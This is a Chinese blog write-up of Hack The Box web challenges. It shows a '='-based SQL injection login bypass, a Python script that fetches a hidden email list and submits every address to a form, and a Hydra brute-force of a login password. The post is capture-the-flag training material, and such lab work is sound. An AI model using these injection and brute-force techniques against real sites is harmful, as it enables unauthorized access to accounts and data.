hack the box (web)

接下来是2道web水题,来自hack the box。这个网站还真是厉害啊,邀请码要靠自己破解网页的一个小trick。话不多说看题。
- Cartographer (30)
- HDC (30)

Cartographer

sql注入大水题
入口
使用username='='&password='='的方式绕过
进入
访问一下info=flag即可得到
flag

HDC

这题分两部分

登录

进入登录界面,看到有个js文件不对劲,jquery-3.2?官方的jquery是用_的,进去查找submit,可以看到明文的name1和name2。进入

email

根据论坛大佬的提示,找到secret_area_路径(来自某图片的索引)发现mails.txt

All good boys are here... hehehehehehe!
----------------------------------------
Peter Punk CallMePink@newmail.com
Nabuchodonosor BabyNavou@mailpost.gr
Ilias Magkakos imagkakos@badmail.com
Nick Pipshow NickTheGreek@mail.tr.gr
Don Quixote Windmill@mail.gr 
Crazy Priest SeVaftise@hotmail.com
Fishroe Salad fishroesalad@mail.com
TaPanta Ola OlaMaziLeme@mail.gr
Laertis George I8aki@mail.gr
Thiseas Sparrow Pirates@mail.gr
Black Dreamer SupaHacka@mail.com
Callme Daddy FuckthemALL@mail.com
Aggeliki Lykolouli FwsStoTounel@Traino.pourxetai
Kompinadoros Yannnnis YannisWith4N@rolf.com
Serafino Titamola Ombrax@mail.gr
Joe Hard Soft@Butter.gr
Bond James MyNameIsBond@JamesBond.com
Endof Text EndOfLine@mail.com

在其他位置有一个提交的页面Diaxirisths.php尝试用一个email发消息,但没回应,估计是要遍历所有email。
写脚本:

# -*- coding = utf8 -*-
import os
import requests
import sys

def getEmail(filename,ip,port):
    url = 'http://%s:%s/main/secret_area_/mails.txt' % (ip, port)
    command = 'curl '+url+' > '+ filename
    if os.path.exists(filename):
        pass
    else:
        os.system(command)
def postData(email,ip,port):
    url = 'http://%s:%s/main/Diaxirisths.php' %(ip,port)
    proxies={
        'http':None,
        'https':None
    }
    data={
        'name1':email,
        'name2':'test',
        'submit':'Send'
    }
    r = requests.post(url,data=data,proxies=proxies)
    if 'flag' in r.text:
        print r.text
    else:
        pass


def readFile(filename, ip, port):
    if os.path.exists(filename):
        with open(filename,'r') as f:
            lines = f.read().splitlines()[2:]
            for line in lines:
                if line[-1] == ' ':
                    line = line[:-1]
                email = str(line.split(' ')[-1:][0])
                postData(email, ip, port)
                print email+' finished.'
                sys.stdout.flush()
        f.close()
if __name__=='__main__':
    filename = 'email.txt'
    if len(sys.argv)<3:
        print 'we need ip and port,check again plz'
    else:
        ip = str(sys.argv[1])
        port = str(sys.argv[2])
        getEmail(filename, ip, port)
        readFile(filename, ip, port)

分别处理了文本并提交。坑点在于第五个email后面有个空格,如何处理\n也是个问题。emmmmm这两部分毫无关系
于是扩展后的脚本传参数<ip> <port>即可得到flag

Lernaean

这题没什么意思,题目搜一下发现是Hydra,然后爆破就行了,时间问题.
跑出密码 leonardo
然后用burp截一下response就能看到flag.

待续

如果觉得我写的可以,还请您关注我的个人静态博客:https://cntjuscswyz.github.io/
ありがとう

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值